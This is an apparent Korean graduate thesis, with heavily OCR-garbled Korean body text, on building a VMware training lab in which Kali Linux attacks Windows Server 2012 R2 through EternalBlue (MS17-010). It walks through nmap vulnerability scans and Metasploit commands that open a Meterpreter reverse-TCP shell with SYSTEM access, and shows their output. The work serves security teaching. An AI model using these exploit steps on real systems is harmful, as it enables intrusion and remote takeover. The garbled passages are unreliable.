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ABSTRACT

How to Build a Windows Server Penetration
Testing Lab Environment with Cali Linux for

Cybersecurity Training

JEONG, CHAN-HA
Department of Information Security

Graduate School of Joongbu University

In cybersecurity education, building a lab environment is an
essential process for learners to acquire not only theoretical but
also practical skills. In particular, penetration testing using the
Eternal Blue vulnerability is a powerful tool for learners to
experience the real threat of cyberattacks and develop their
capabilities in vulnerability analysis and attack defense. However,
current courses are mainly focused on theory, and there is a lack
of material that systematically covers the process of building a

lab environment and conducting attacks.
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Compared to various penetration testing methods, this paper
aims to analyze how the EternalBlue-based lab environment is
more educationally effective and provides a practical learning
experience for students. To do so, I will examine several
different  methodologies, including VulnHub penetration labs,
Eternal Blue vulnerability research, and SMB relay attacks, and
highlight the technical and pedagogical superiority of my proposed

approach.

Specifically, my research details the process of network setup,
vulnerability scanning, and remote control takeover via the Eternal
Blue vulnerability in VMware and Windows Server 2012 R2
environments. Along the way, learners can experience firsthand
how the EternalBlue attack affects the entire system, unlike SMB
relay attacks that simply steal credentials. This exercise can help
learners realize the severity of the vulnerability and effectively

develop a security defense strategy.

In addition, compared to the VulnHub training method, my
methodology provides a more intuitive and practical attack
process, allowing learners to experience the entire process from
vulnerability analysis to attack execution. Compared to Gupta’s
work, my methodology is more concrete and pedagogical, allowing
learners to easily understand how to respond to cyberattacks in a

real-world environment. In this respect, this study is valuable as

_ix_



an effective teaching tool that enables practical skill acquisition

rather than just theoretical learning.

In conclusion, this paper emphasizes the importance of building
a lab environment in cybersecurity education and demonstrates
that, compared with other penetration methodologies, our
methodology has greater technical and pedagogical benefits.
Furthermore, by providing an A-Z description of the lab
environment configuration and exercises, we hope to provide a
concrete and systematic guide for learners who have difficulties
in building a lab environment and make a practical contribution to

improving their security response capabilities.
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i
Welcome to VMware Workstation 17 X
G VMware Workstation 17

© Use VMware Workstation 17 for Personal Use
() Enter alicense key to allow Commercial Use:

Buy a Commerdial Use license

Continue | Cancel
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3.1.2 kali Linux A X|

Kali Linuxt AX H ¥ 3JF HE2EE 98 /Idd A& &
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T AT ETEC] AP AAFHo glon oledt 54 H e HeF dE
V'3 AEC F= AMESE IE T Styolth Kali Linuxe &2
A 7o g J)kE Q) 31 Debian 7]WFe] QFA A Ql Al A~dlS ulE o w
theFst 7 ek ROt HAE =45 et 9o AlEAEe] HE
o Ay AA glolk FA v Het A5S AT 5
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(EternalBlue) & H
e ATt ol FI ¥4 WHE #Asta, AFo
o] Alz=gle] m A& FFS &R

9k,
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3.1.3 Windows server 2012 R2 A x|

Windows Server 2012 R2+= 719 4o A dg AMEEHE= A 29
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TS Attt Bl SHd A= AW g 7o FQ83 vk, o]
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Aot E3], o9& F(EternalBlue)®} 2 SMB T2 EZ FHoFd
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314 29 5 & Kali Linux &2+
o=

Zre] #5227k VMwareel 78 7d4] AAZE HATE AREATE A A
7]EAQL e HAFE AT SHS &l FoloF I WA= VMware
editorg 3 HEH=Z A4S sfoF

B kali2024.2 - VMware Workstation

Eile Edit View VM Tabs Help

@ Virtual Network Editor..

Preferences... Ctri+P

¥ Devices
ESl Memory
Processors
iHard Disk (SCSI) 25 GB
CD/DVD (IDE) Using file C:#Use...
Network Adapter Bridged (Automa...

USB Controller Present

1Display Auto detect

¥ Description

¥ Virtual Machine Details
State: Powered off
Configuration file: C:WUsersWtodauWVirtual Machinesikali2024.2Wkali2024.2.vmx
Hardware compatibility: Workstation 17.5.x virtual machine
Primary IP address: Network information is not available

[2¥ 3-13] virtual Network Editor 1

VMware %7] 3}Ho A Edit WrolA Virtual Network EditorE &
A=
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@ Virtual Network Editor

VMnet Information

() Bridged (connect VMs directly to the external network)
Bridged to: Automatic
() NAT (shared host's IP address with VMs)

© Host-only (connect VMs internally in a private network)

Name Type External Connection Host Connection DHCP Subnet Address
VMnetQ Bridged Auto-bridging - - -
WVMnetl Host-only - Connected Enabled 192.168.115.0
VMnet7 Host-only - Connected Enabled 10.10.10.0
VMnet8 NAT NAT Connected Enabled 10.0.0.0
Add Network... Remove Network Rename Metwork...

Automatic Settings..

NAT Settings...

B Connect a host virtual adapter to this network
Haost virtual adapter name: VYMware Network Adapter VMnet7

B Use local DHCP service to distribute IP address to VMs

DHCP Settings...

SubnetIP: | 10 . 10 . 10 . O Subnet mask: | 255 .255 .255. O

Restore Defaults

Import... Export... OK l Cancel Apply Help
[(1¥ 3-14] Virtual Network Editor
Virtual Network Editorel A+ IP,Subnet mask,Types A g

th. WA Fel Add Network.. HES 2351
F7F & Ho|t},

Add a Virtual Network b4
Select a network to add: VMnet2 v
|
OK Cancel Help

[29 3-15] Add a Virtual Network

Select a network to addE &3 M=z VMnets F

Ao = VMnet7S A st
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DHCP Settings ><

| Network: vmnet?
Subnet 1P: 10.10.10.0
| subnet mask: 255.255.255.0 t

| starting 10 address: | [l . 10 . 10 . 128

Ending IP address: | 10 . 10 . 10 .254 |
Broadcast address: 10.10.10.255
Davys: Hours: Minutes:
Default lease time: O = o = 30 =
Max lease time: O = 2 = O =
l OK Cancel Help

[Z1¥ 3-16] DHCP Settings

1 % VMnet7S A® % DHCP Settings HES F2W o]zjdl Ho]
stde] At o= A1 IP 49 ByE IP 45 AAS &
jl T

gttt e di= 1010108 Ag3d AlZ FAhAE 128, # T4 244

2 AAo. agla a9 [3-14]134 % Subnet IPE 10.10.10.0 Subnet

mask 255.255.255.0 o2 AA st} Windows server®} L3 U

EfAdA AFE Peol st7] wiitoltt AAE oF vkl o= OK
ES =9 A4S H&3)

3.15 22 A5 Windows server 2012 R2 &&=

g a2t PCel Windows server 2012 R2 3t VMwareo] AXE 4=
oA o] AAHS 3 FoloF 2o HF7t 7hesith

7o HAE HAEE $3 Windows Server 2012 R2 37 H A&
Linux¢} 43283 ¢ v HESYA 74& &8 dadr. o &
M2 Windows Server 2012 R2 EssentialsE A X|&}a, 7] 2%
7 AR 2 R E S A @A sk
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S AFE3le] Windows Server 2012 R2E A At A X171 5=,
AE dss a8l ATE AT 715 dHste EAdsksn A7+ o
+2E dolA stdd k. a¥W ts, Abs JUlolER s A7t
o 7| %] Al AFEE = AS WA A& 99 duolE AHS
T o7 WAs,

YEYA 4S8 A= dARZE WA VMwared] UEYA o] HEHE
NAT wW2o A A8 A A VMnetl= WHA3sta, IP =49 DNS A A
S FEoE AAHTL vEHORE [Pvd SAA IP 4= 10.0.0.27,
ABEU wpAaaE 255.255.255.0, AlolEd el 10.0.02%2 A,
DNS AW+ 888837 8844% A3 <QAHU Ao 7E3tesE

o

i

o
=

ur
< o
m

(Al

_37_
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oz AAgg., olw P FA+= 10101027, AEBU uwixd+=
255.255.255.0, Al°lEdol= 10.10.10.22 A3 ™, DNS A= <
Ao} =LA 88883 8844= A%t} o= Kali Linux¢® &4
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TEote d Aot
o2, Kali Linux9 UWEYA HAAES vi AF7IE &3 WA}
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I e ARE 3Y FH 24S T3 Kali Linux®t Windows
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smb-vulnf§ Bp 445 10.10.10.27
Startlng Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 16:55 KST
Nmap scan report for 10.10.10.27

Host is up (0.00071s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds
MAC Address: 00:@0C:29:76:37:77 (VMware)

Host script results:
| _smb-vuln-ms10-054: false
| _smb-vuln-ms10-061: No accounts left to try

Nmap done: 1 IP address (1 host up) scanned in 18.55 seconds

[Z2% 3-17] SMB FH k4 2= b= 44

2] & A= 1 O o % : =] o
Aol Windows server 2012 R2 A A A7} SMB FHeFdo
= 7 =] o}b ) } g]_ g T = 1;]_?:‘— O o % ]Eﬂ Q 35k
Z 2 A el 1l AZro| = = TIAAE AHEE7,
weliA ofel [ ] A9 B4 BAE OE 8 2y wo
:1_1110}\ Fo 13]318 b= o il = Z 8l H 78‘0
© 2 o} }L—_tﬂ q_w]_izﬂ'r)rl—_ LS. 3lo) sk
‘da]*’] E]E’]Oi /~1\01 or ﬁﬁ- SO 1__]?151” L7)_la =5 U&=
2=~ 0]9]
P L% .
«« Dashboard
Windows XP 5.1.2600.7208
— S ——
Windows Server 2003 SP2 5.2.3790.6021 FE— svsyshiroperties
ML General | Security| Details | Previous Versions |
Fropery vaue
Windows Vista GDR:6.0.6002.19743, LDR:6.0.6002.24067 ) S A
Windows Server 2008 SP2 File des lion  Server driver
cravoll | |Twe Systom e
De File version 63960016421
ol | | rame PSS sousa Operating System
Windows 7 6.1.7601.23689 s Do Product version 6.3.9600.16421
WindoweServer 36685 @5 rell | | commott . ©Mmso Comoraion. Ak s esered
Size asard
Datemodfisd 20140322 22 548
e This Language English (United States)
Windows 8 6.2.9200.22099 Original filename SRV SYS
Windows Server 2012 @ Netw
Windows 8.1 6.3.9600.18604
Windows Server 2012 R2
Windows 10 TH1 v1507 10.0.10240.17319
Windows 10 TH2 v1511 10.0.10586.839
1 item selected 4
Windows 10 RS1 v1607 10.0.14393.953

Windows Server 2016

[z 3-18] MSI17-010 A% of 3 kel
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a=7)d SMB A4S g5tk AAd ZEALE SMB A A9
g #Fushs A% A
. =
B - = Add Network Location
N _ Completing the Add Network Location Wizard
;Veosr; You have successfully created this network location:
Down festshare (CHAN-HA (this PO
Recei
A shortcut for this location will appear in Computer.
el Open this network location when | click Finish.
Netwd
T ———— =
[29 3-19] & &9 84
7 oo]% mpxjH o g WHEolE F3 SMBlI % SMB2 ZzEFo| &5}
% B #d X EQl 445¥1 XEE Ei ¢F FH0]

P

Z+e] g E2~(Kali linux)¢ Windows sever 2012 R2¢] $74& t} n}
T AAR 7Y gE2E T 2o HF AHFS Y},

HA = oo 28I 2ol nmap —-script vuln 10.10.10.27 8= o]
a3l FAsteE = UldY 0Sel $-27F 2 msl7-010 FH kol A+
2708 A&} o 7] A nmap ©] @

24 et

9) https://continuetochallenge.tistory.com/17
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AC Address: @0:0C:29:76:37:77 (VMware)

Host script results:
| _smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
| smb-vuln-ms17-010:
|  VULNERABLE:
Remote Code Execution vulnerability in Microsoft SMBvl servers (ms17-01

State: VULNERABLE
IDs: CVE:CVE-2017-0143
Risk factor: HIGH
A critical remote code execution vulnerability exists in Microsoft

servers (ms17-010).

Disclosure date: 2017-83-14
References:
https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidan
e-for-wannacrypt-attacks/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
b https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
_smb-vuln-ms10-054: false
_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED

Nmap done: 1 IP address (1 host up) scanned in 128.98 seconds

(2% 3-20] ms17-010 F ok EA) o3 ol

oA Ho]lXo]l smb-vuln-msl7-010 FHeFdel] gt JrR7F o
FHFdo] EAg = AFE S g1 4 A
7 o]%F ZHg] g% 29 =2 msfconsoles ARE-3H Aot}
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)

File Edit View VM Tabs Help

o kali2024.2
S omPori|1 2 ) O A 05|

File Actions Edit View Help
om/

msf6 > search smb scanner

Matching Modules

# Name
Disclosure Date Rank Check
Description

0 auxiliary/scanmer/http/citrix_dir_traversal
2019-12-17 normal No
Citrix ADC (NetScaler) Directory Traversal Scanner
1 auxiliary/scanner/smb/impacket/dcomexec

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

[19 3-22] smb scanner
712]3l search smb scnner W#H & F3 smb 2AMUE S T use
auxiliary/scanner/smb/smb_ms17_010 & WHo=2 A <JH3}e
smb¥ FH & = 2INYE ARSI

msf6 auxiliary( ) > set rhost 10.10.10.27
rhost = 10.10.10.27
msf6 auxiliary( ) > run

[+] 10.10.10.27:445 - Host is likely VULNERABLE to MS17-010! - Windows

Server 2012 R2 Essentials 9600 x64 (64-bit)
10.10.10.27:445 - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed

msf6 auxiliary( I |

[2¥ 3-23] scanner A&
el Windows server 2012 R29] IP ¢ 10.10.10.272 set rhost
10.10.10272 A4S AASdT runs 3 APIAS A9 Host is
likely VULNERABLE to MS17-010! &<} &7 thatel oA A7t

A el @ 4 etk
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)

File Edit View VM Tabs Help

[ kali2024.2

BEmEaPoOr-|1 2 3 42|¢ _ O 4H A Q2|4 G

uchan@chan: ~

File Actions Edit View Help

Interact with a module by name or index. For exampl
27 or use auxiliary/scanner/smb/impa

msf6 > search eternalblue
-

Matching Modules

# Name
Disclosure Date Rank Check Description

0 exploit/windows/smb/ms17_010_gternalblie

2017-03-14 average Yes MS17-010 Eterna
LBlue SMB Remote Windows Kernel Pool Corruption

4 \_ target: Automatic Target

2 \_ target: Windows 7

3 \_ target: Windows Embedded Standard 7

To direct input to this VM, move the mouse pointer inside or press Ctrl+G.

[1¥] 3-24] EternalBlue
oA HIFTHO=Z Eternalblue 545 A& = 2t} ol7te} o]
search eternalblue WH & &l AL WS Zetof b=t o &
ol /1 target: Windows server 2012 7} Ads A ZA %k o] BAS
AREetH Afgtt 1 o)lfe F5 A7 ¢ Zaskth Aol A
= exploit/windows/smb/ms17_010_psexecS AF&3Fch use WEH o9}
k7 use exploit/windows/smb/ms17_010_psexecE Y& +4& =
Histth, gl A S A FoJoF k. set rhost
10.10.10.27, set payload windows/x64/meterpreter/revers_tcp A+
ipet g AGAES 93 Hol2=E AAL $ HP(un) WHAE

NEEACE
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msf6 exploit( ) > Interrupt: use the 'exit' command to quit
msf6 exploit( ) > run

Started reverse TCP handler on 10.0.0.128:4444

10.10.10.27:445 - Target 0S: Windows Server 2012 R2 Essentials 9600

10.10.10.27:445 - Built a write-what-where primitive...

10.10.10.27: - Overwrite complete... SYSTEM session obtained!

10.10.10.27: - Selecting PowerShell target

10.10.10.27: - Executing the payload..

10.10. - Service start timed out OK if running a command or non-service executable..
Sending stage (201798 bytes) to 10.6.0.27

Meterpreter session 1 opened (10.0.0.128:4444 — 10.0.0.27:56074) at 2024-07-1@ 21:18:20 +0900

meterpreter > [

[Z1¥ 3-25] meterpreter &5
Aoz FAol AP ATHA meterpreter NS 5T 5 3
Eal Z

|

Meterpreter A|41o] EHE o]% FAX= HF A
A
(e}

sl AL AEAINAL, HEHIY G AR F4S 4
e gL A B ok Bed UE ol 99e ovla
W, dolE §%, Asg 7% whH], Aol A WEfae] oo

=

olold 4 3= Wiy AA% AdRe AT —’F A 01 ?—i—t— SMB#
KN
=
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